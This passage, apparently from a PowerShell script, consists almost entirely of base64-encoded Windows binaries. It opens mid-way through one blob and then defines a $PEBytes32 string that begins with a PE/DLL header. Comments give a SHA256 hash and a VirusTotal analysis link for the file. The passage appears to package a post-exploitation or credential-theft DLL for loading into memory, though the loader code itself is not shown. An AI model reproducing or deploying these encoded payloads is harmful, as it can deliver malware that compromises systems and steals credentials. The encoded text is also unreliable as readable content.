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cKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm6KbwpvimAKcIpxCnGKcgpyinMKc4p0CnUKdYp2CnaKdwp3ingKeIp5CnmKegp6insKe4p8CnyKfQp9in4Kfop/Cn+KcAqAioEKgYqCCoKKgwqDioQKhIqFCoWKhgqGiocKh4qICoiKiQqJiooKioqHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rACtCK0AAABgBAC0AAAAaKpwqniqgKr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrOis+KwIrRitKK04rUitWK1orXitiK2YraituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AAABwBAAwAQAACKAYoCigOKBIoFigaKB4oIigmKCooLigyKDYoOig+KAIoRihKKE4oUihWKFooXihiKGYoaihuKHIodih6KH4oQiiGKIoojiiSKJYomiieKKIopiiqKK4osii2KLooviiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ijyKPYo+ij+KMIpBikKKQ4pEikWKRopHikiKSYpKikuKTIpNik6KT4pAilGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpuim+KYIpxinKKc4p0inWKdop3iniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipAAAAgAQAZAEAADClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagprCmwKbQpuCm8KYApxCnIKcwp0CnUKdgp3CngKeQp6CnsKfAp9Cn4KfwpwCoEKggqDCoQKhQqGCocKiAqJCooKiwqMCo0KjgqPCoAKkQqSCpMKlAqVCpYKlwqYCpkKmgqbCpwKnQqeCp8KkAqhCqIKowqkCqUKpgqnCqgKqQqqCqsKrAqtCq4KrwqgCrEKsgqzCrQKtQq2CrcKuAq5CroKuwq8Cr0Kvgq/CrAKwQrCCsMKxArFCsYKxwrICskKygrLCswKzQrOCs8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K7grvCuAK8QryCvMK9Ar1CvYK9wr4CvkK+gr7CvwK/Qr+Cv8K8AAACQBAB4AAAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKMAAACwBAAMAAAAeKiAqADABABQAQAAeKGIoZihqKG4ocih4KHooQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKNwo4CjkKOgo7CjwKPQo+Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKs4q0CrSKtQq1irYKuAq4irkKuYq6CrqKuwq7ir8Kv4qwCsCKwQrBisIKworDisWKxwrIisoKzArMis4KzorPCs+KwgrWitgK2QrbCtwK0ArhCuIK4wrkiuWK5orniuqK64rsiu8K74rjCvUK9wr5CvqK+4r8iv6K8AAADQBAAMAAAACKAQoADgBAB0AAAA8KkAqiiqUKpgqnCqgKqQqqCq0KroqgirQKtgq4CrmKuoq7ir4KsArCCsQKxgrHisiKyorMis6KwArSCtMK1grXCtwK3QreCt8K0ArhCuQK5YrniuiK7IruCu8K74rjCvUK+Qr7Cv0K/wrwAAAPAEACgBAAAgoDCgQKBQoGCgcKCgoLCgwKDQoOCg8KAIoRihKKFIoXihoKHAoeChCKIYoiiiUKJwopCiyKLYovCiIKNAo1ijaKOIo7ijyKPYozCkQKRQpGCkiKSYpMCk+KQYpUilcKWIpbClyKUYpjCmQKZYpoCmmKa4ptCm8KYwp1CncKeQp6CnqKfQp+Cn+KcYqDCoSKhgqHiosKjQqPCoEKkwqVCpcKmgqbCpwKnQqeCp8KkIqhiqKKo4qliqeKq4quCq+Kogq0CrcKuAq7iryKvwqwCsEKw4rFCsWKyQrKCssKzArNCs4KzwrPisAK0IrRitOK1grYitsK3IrfCtCK4grkiuWK5oroiuqK7ArviuCK8grzivSK9wr5CvqK+4r8iv6K8AAAUAaAEAACCgOKBIoGigeKCIoMig+KAgoTihUKFooZChqKG4ocChyKHQodih6KEQoiCiMKJAolCiYKKIopiiqKLQouCi6KIIoyijYKNwo4CjkKOgo7Cj4KMQpDCkUKRwpIikqKTApNikAKUQpSClMKVApUilgKWgpbilyKXYpfilGKYoplCmaKaAppimyKb4piCnOKdQp2CnaKegp8Cn2Kfop/inIKg4qEioaKiIqKio4KjwqCCpMKloqXipkKmoqbip6Kn4qRCqKKo4qkiqcKqIqqCquKrQquiqAKsYq0CrWKuAq5irqKvQq+irEKwgrDCsQKxQrGCscKx4rICsiKywrPisEK0YrWitiK2graitsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrqCusK7wrgCvEK8grzCvQK9wr5CvqK/Qr/CvAAAAEAUAjAAAACCgQKBwoICgsKDIoOigCKEwoUihWKGAoZihsKHIoSiiSKJgoniikKKoouCi8KIAoxCjOKNgo5ijqKMApBCkIKQwpECkUKRopHikiKSwpNCk8KQIpTClQKVQpWClcKWIpailyKXopSCmMKawrriu2K74rhivKK9Qr4CvoK/Qr+Cv8K8AAAAgBQAcAQAAAKAQoCCgQKBIoICgkKCgoLCg4KD4oAChIKEooUihaKGgocCh4KEgokCiWKJooniioKKwosCi0KLgogijIKNAo2ijqKPIoxCkMKRQpGikeKSopMCk2KT4pDClqKW4pcilCKYoplimaKaQprCmyKbYpuimEKcop1ingKeYp/inQKhQqGCocKiAqJCowKjgqACpGKkoqUipaKl4qaCpsKnAqcipAKogqlCqcKqYqriq8KoAqxCrIKswq0CrcKuIq5irqKu4qwCsCKworEisgKyQrKCssKzArNCs6Kz4rCCtUK14rZitsK3IreCt+K0QriiuUK54roiumK7Arsiu6K4QryivUK9wr4ivmK+or8iv4K/4rwAAADAFACABAAAwoGigeKCQoKCgsKDooBChKKFAoVihgKGQoaChsKHAodChAKIYojiiUKKwosCi0KLgoviiCKMYozijSKNYo3CjgKOoo8ij6KMIpCikOKRgpHCkgKSQpKCk4KTwpAClEKUgpTClYKV4pZilsKXIpeCl+KUQpiimQKZYpnCmiKagprim0KboplCneKeIp5in2KcAqBioMKhIqGCooKiwqMCo0KjgqPCoIKlAqVipeKmQqfCpAKoYqjCqOKpgqoCqoKq4qtiq+KoYqzirUKtwq4CrkKu4q+irGKw4rFisaKyIrKis0KzwrBCtKK04rWCtgK2wrdCt+K0QrlCuaK6Irqiu0K7YrgivGK9Yr3ivmK+4r8iv6K/4rwAAAEAFABQBAAA4oFigeKCIoJigqKDIoAChIKE4oWCheKGQoaih0KHwoRCiUKJYomCiqKL4ogijIKM4o2CjeKOQo6ijwKMopDikUKRwpHikqKS4pOCk8KQApRClGKVQpWClgKWQpaClyKX4pRimOKZIplimaKbApuCmAKcop0iniKegp9inGKgoqECoeKiIqKCo2KjoqACpMKk4qUCpiKnQqeCp8KkAqhCqQKpgqoiqoKrwqgCrEKsgqzirYKt4q5CrqKvAq9ir8KsIrBisKKxQrGisiKyorLis2Kz4rAitMK1ArVCtYK2IraCtyK3orQiuMK5IrmCueK6QrqiuyK7YruiuKK9Ar4CvkK+gr7CvwK/Qr+ivAFAFAEABAAAIoECgYKCAoKCguKDgoPigCKEYoSChQKFIoYChiKG4odCh8KEAojCiQKJQomCicKKAopiiqKK4osii8KIIoxijQKNgo4CjoKPAo+ijEKQopFikaKR4pJikwKTYpPikEKVQpXCloKXApdil+KUwplCmgKa4psim0KbwpvimKKc4p5CnsKfQpwCoEKggqDCoQKhQqIiomKjAqNio6Kj4qAipMKlIqWCpcKmIqaipEKqQqpiq2KroqgCrEKsgqzirSKtYq3irkKuoq+Cr6KsgrECsaKx4rIis4KwArSitOK2AraCtuK3Irdit6K34rRiuUK5grnCugK6QrqCuuK7grviuEK8YryCvKK8wrzivQK9Ir1ivaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AYAUADAMAAACgCKAYoCCgKKAwoDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigCKEQoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQiiEKIYoiCiKKIwojiiQKJIolCiWKJgomiicKJ4ooCiiKKoorCiyKLQotii4KLoovCi+KIwozijQKNIo1CjWKNgo2ijcKN4o4CjiKOQo5ijoKOoo7CjyKP4owCkGKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopLCkuKTApMik0KTYpOCk6KTwpPikAKUIpRClIKUopTClQKVIpWClaKWApYiloKWopbClwKXIpdCl4KXopfClAKYIpiCmKKZApkimYKZopoCmiKagpqimwKbIpuCm6KbwpgCnCKcQpyCnKKdAp0inYKdop3CneKeAp4inkKeYp6CnqKewp7inwKfIp9Cn2Kfgp+in8Kf4pwCoCKgQqBioIKgoqDCoOKhAqEioUKhYqGCoaKjAqMioAKkIqRCpGKkgqdip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqkiqUKpYqmCqaKpwqniqgKqIqpCqoKqoqriqwKrIqvCq+KoAqwirEKsYqyCrKKtAq0irUKtYq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsMKw4rEisUKxgrGiseKyArJissKy4rMCsyKzQrNis4KzorPCs+KwArRitMK04rUCtSK1QrWitgK2IrZCtmK2graitsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrkiuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AcAUAbAEAAACgCKAQoBigIKAwoEigUKBYoGCgaKBwoHiggKCIoJCgmKCgoKigsKC4oMCgyKDQoNig4KDooAChGKEgoSihMKE4oVChaKFwoXihgKGIoZChmKGgobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiMKJQonCikKKYorCiuKLQotii8KIAowijEKMYozCjOKNQo2ijcKN4o4ijkKOYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKWopbCluKXApcil0KXYpeCl6KXwpfilAKYIphCmGKYgpiimMKY4pkCmSKZQplim+KeQq5iroKuoq7iryKvQq9ir4KvoqwAAABAHABAAAABIqWCpaKkAAABwBwCMAAAAOKB4oLCh+KEYojiiWKJ4oqiiwKLIotCiCKMQo2CjmKXAqMio0KjYqOCo6KjwqPioAKkIqRipIKkoqTCpOKlAqUipUKmwqriqwKrIqtCq2KroqkCrkKvgq2CscKywrMCsAK0QrVCtYK2grbCt8K0ArrCuwK4ArxCvUK9gr6CvsK/orwAAAIAHALQAAAAAoBCgSKBYoGiggKCQoNCg4KAgoTChaKF4oZiiqKLooviiOKNIo4ijmKPYo+ijKKQ4pHikiKTIpNikGKUopWileKW4pcilCKYYplimaKaoprim+KYIp0inWKeYp6in6Kf4pzioSKiIqJio2KjoqCipOKl4qYipyKnYqRiqKKpoqniquKrIqgirGKtYq2irqKu4q/irCKxIrFis0KzgrLCtAK5QrgCvUK+grwAAAJAHAIAAAAAQoCCgYKBwoLCgwKAAoRChsKHAoQCiEKJQomCioKKwovCiAKOAo9CjIKRwpNCk2KRApZCl4KUwpoCmAKdQp6Cn8KdAqJCo4KgwqYCp0KkgqnCqwKoQq3CriKvQqyCsoKzwrECtkK3grTCucK54roiu0K4gr3CvwK8AoAcAVAAAABCgYKDQoOigIKE4oYCh0KEgonCiwKIQo1CjWKNoo7Cj8KP4owikQKRIpFikoKTwpEClsKW4pcilEKZQplimaKawpgCnUKeQp5inqKcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' - - # SHA256 hash: c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae - # https://www.virustotal.com/en/file/c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae/analysis/1450152913/ - $PEBytes32 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADNUKVMiTHLH4kxyx+JMcsfPa06H4Axyx89rTgfCzHLHz2tOR+QMcsfbGjIHp0xyx9saM4enzHLH2xozx6aMcsf798AH4sxyx9KPpYfjzHLH4BJWB+cMcsfiTHKH6kwyx97aMMetDHLH3toyx6IMcsfe2g0H4gxyx97aMkeiDHLH1JpY2iJMcsfAAAAAAAAAABQRQAATAEFAOV0b1YAAAAAAAAAAOAAAiELAQ4AAJIDAACyAgAAAAAAyeABAAAQAAAAsAMAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAACABgAABAAAAAAAAAMAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAA3wUAXwAAAGDfBQAsAQAAADAGAIgCAAAAAAAAAAAAAAAAAAAAAAAAAEAGAOw1AAAw1gUAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFDWBQBAAAAAAAAAAAAAAAAAsAMAeAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAZJADAAAQAAAAkgMAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAJ5LAgAAsAMAAEwCAACWAwAAAAAAAAAAAAAAAABAAABALmRhdGEAAABsKgAAAAAGAAAgAAAA4gUAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAiAIAAAAwBgAABAAAAAIGAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAOw1AAAAQAYAADYAAAAGBgAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7ItNDFZXi30Ihcl1A41PIItFEIlHMItFFIlHNI1HGFBXaCMRABBR6LrjAQCL8IPEEIX2dA1+Hg+39oHOAAAHgOsTi08ED7cBUFFqAlfoCQAAAIPEEF+Lxl5dw1WL7P91FItFCP91EP91DP9wHP9wGOix4wEAg8QUhcB+CA+3wA0AAAeAXcNVi+xWi3UI/3Yc/3YY6NHjAQCDZhgAg2YcAFlZXl3DVYvsi0UMM9JWvtC0AxCFwHQQi9CL8I1KAYoCQoTAdfkr0YtNCI1CAYNhBACDYQwAiTGJQQheXcNVi+yLRQxWVzP/vrRTBBCL14XAdBaL0IvwjUoCZosCg8ICZjvHdfUr0dH6i00IjQRVAgAAAIl5BIl5DF+JMYlBCF5dw1WL7ItFKIXAdGqLTQyLVRBTi10cV4t9IIPpAHQqg+kBdSiE0nQGD7bKQesFuQABAACJCItNFIlICItNGIlIDIlYEIl4FOsGgyAAi00YVotwMIX2dBz/cDT/dSRXU1H/dRSLzlL/dQz/dQjo0NQBAP/WXl9bXcIkAFWL7ItFDAtFEHQti1UIi0oIi0IMI00MI0UQC8h0FotCEItKFCNFDCNNEDtCEHUFO0oUdAQywF3DsAFdw1WL7IPsEKBj1wUQi1UMi8pWi3UIgemw1gUQgckAAAALiwKJRfSLQgSJRfiLQgiDwgyJTfCLTRyJRfyLRgRRg2EEAP91GIkBi0YE/3UU/3UQD7cAg2EUAIlBCMdBDAIAAACJURAPtwKJQRiNRfBQx0EcAQAAAP92HP92GOhO4gEAg8QcXovlXcPMuFgqBhDDVYvs/3UY/3UU/3UQ/3UM/3UI6OP/////cAT/MOgZFQIAg8n/g8QchcAPSMFdw41EJBBQagD/dCQU/3QkFP90JBTouv///4PEFMOKQQGEwHkPZotBAoroiswPt8GDwATDD7bAg8ACw4PsDIlUJARVi+mF0g+EIAEAAFNWi3UAi85X6MT///+L+IvKiXwkEOi3////i9iKRgGEwHlFjQw7UWpA/xWQsgMQi/iF/w+E5AAAAP90JBD/dQBX6NthAwCLRCQci3QkIAPHU1ZQ6MlhAwBmi0cCg8QYiuiKzGYDy+tjD7bAA8OJRCQYg/h/dl+DwARQakD/FZCyAxCL+IX/D4SRAAAAi00AD7ZBAVCNQQJQjUcEUOiAYQMAi0UAi3QkIFNWD7ZAAYPABAPHUOhoYQMAi0UAg8QYi0wkGIoAiAfGRwGCiuGKxWaJRwLrN40EO1BqQP8VkLIDEIv4hf90Nv90JBD/dQBX6C1hAwCLRCQci3QkIAPHU1ZQ6BthAwCDxBgAXwFWizWYsgMQ/9b/dQD/1ol9AF9eW12DxAzDVYvsUVaKwovxDKAz0moAagCKyOgjAAAAiUX8WVmFwHQVi1UIjU386J3+//+LVfyLzuiT/v//XovlXcNVi+xRU4tdCIhN/1ZXi/qD+392L41DBFBqQP8VkLIDEIvwhfZ0SYpF/2aLy4gGivHGRgGCitVmiVYChf90MY1GBOshjUMCUGpA/xWQsgMQi/CF9nQaikX/iAaIXgGF/3QOjUYCU1dQ6FVgAwCDxAyLTQyFyXQJi9boEf7//zP2X4vGXluL5V3DVYvsg+wgjUXwUFH/FZSyAxCFwHRHD7dF/FAPt0X6UA+3RfhQD7dF9lAPt0XyUA+3RfBQaBgNBBCNReBqEFDoiv3//4PEJIXAfhJqAGoPjVXgsRjoIP///1lZ6wIzwIvlXcNVi+xRUVZqAVGNRfgz9lD/FWi0AxCFwHgeD7dF+LEbi1X8VlDo7f7//1mL8I1F+FlQ/xVstAMQi8Zei+Vdw1WL7FFRD8mJTfmNVfhqAGoFsQPGRfgA6Lz+//9ZWYvlXcOD7FxTVVZXM/aNRCRAi/6JNVwoBhBQu1woBhCJfCQo/xWAsQMQahJWVo1EJExQ/xWsswMQi+iJbCQQg/3/D4SAAgAAi8aJdCQsjUwkUMdEJFAcAAAAUVCNRCRIUFZV/xW0swMQiUQkMIXAD4Q2AgAAVo1EJBiJdCQYUFZWjUQkYFBV/xWoswMQhcAPhRYCAAD/FayyAxCD+HoPhQcCAAD/dCQUakD/FZCyAxCL8Il0JBiF9g+E6wEAAGoAjUQkGMcGBgAAAFD/dCQcjUQkXFZQVf8VqLMDEIXAD4S+AQAAM8mNRgRRUWoDUWoDUVCJRCQ8/xWksgMQiUQkKIP4/w+EhgEAAI1MJDTHRCQ0DAAAAFFQ/xWEsQMQhMAPhF4BAABmi1QkOjPJZotsJDgzwGY5qLAVBBB1DWY5kLIVBBAPhOkAAACDwAxBg/hIcuEz7YXtD4QjAQAA9kUEAg+EGQEAAGp0akD/FZCyAxCJA4XAD4QFAQAAjUQkHFD/dCQs/xV4sQMQhMB0K4sDg8AYUP90JCD/FXSxAxCFwHkNUGhYDgQQ6KdUAABZWf90JBz/FXyxAxD/dCQg6McQAgBZiwuNdCQ0iUEIizuDxwylpaWLA4t8JCSJaFgz7YsDVVVqA1VqA2oD/3QkOIl4BP8VpLIDEIsLiUFgiwM5aGB0XoN4YP90WFVVx0BkiBMAAP8zaIgaABBVVf8VuLIDEIsLiUFohcB0F4sbR4l8JCTrSWvpDIHFsBUEEOkU/////xWssgMQUGjQDgQQ6AJUAACLA1lZ/3Bg/xW0sgMQ6xP/FayyAxBQaHAPBBDo4lMAAFlZ/zP/FZiyAxCLdCQYi2wkEP90JCj/FbSyAxDrE/8VrLIDEFBo+A8EEOizUwAAWVlW/xWYsgMQM/aLRCQsQIN8JDAAiUQkLA+Fj/3//1X/FbCzAxDrE/8VrLIDEFBokBAEEOh6UwAAWVkzwDvHX14bwF332FuDxFzDUVeLPVwoBhCF/3RtVVYz7TlvYHQbg39g/3QJM9KLz+h+AwAA/3dg/xW0sgMQiW9giW9kOW9odA1V/3do/xWwsgMQiW9oiW9sOW9wdA1V/3dw/xWwsgMQiW9wOW8IdAn/dwjolw8CAFmLN1f/FZiyAxCL/oX2dZleXV9Zw4tEJAhTVldqQYv5i9pZUWpAM/aJCP8VkLIDEItMJBCL0IkRhdJ0U2oIWTvZD0LLhcl0RIoE94hE8gGKRPcBiETyAopE9wKIRPIDikT3A4hE8gSKRPcEiETyBYpE9wWIRPIGikT3BohE8geKRPcHiETyCEY78XK8M/ZGX4vGXlvDVYvsUVZXi/Ez/4X2dFqLRmCFwHRTg/j/dE4Pt04eOU0Idy9XjU38Uf91CFJQ/xWgsgMQi/iF/3U+/xWssgMQUP92BGgYEQQQ6B9SAACDxAzrJVH/dQj/dgRosBEEEOgJUgAAg8QQ6w//dgRocBIEEOj3UQAAWVmLx19ei+Vdw1GDJCQAU1VWi/GL2oX2dHmDfmAAdHODfmD/dG1XD7d+HFdqQP8VkLIDEIkDhcB0T4tsJBhqAFVXUP92YP8VnLIDEIlEJBCFwHQQOX0AdDRX/3UAaKgTBBDrD/8VrLIDEFD/dgRoGBMEEOh/UQAAg8QM/zP/FZiyAxCDZQAAiQOLRCQQX15dW1nD/3YEaFAUBBDoV1EAAItEJBRZWevmVot0JAiF9nQ7VzP/OX5odDI5fmR0LTl+YHQoi87oRQEAAIXAdAv/dmT/FaiyAxDr2/92YP8VtLIDEIl+YIl+ZIl+aF8zwF7CBABVi+xRUVNWV4v6i/Ez2+gKAQAAhcAPhKEAAACNRfiLzlCNVfzo7/7//1mFwA+EigAAAGo1U1foQ9YBAIt1/IPEDIoGhMAPlMOF23RZikYBiAdmi0YCZolHAYpGBIhHA4tGBYlHBYtGCYlHCYtGDYl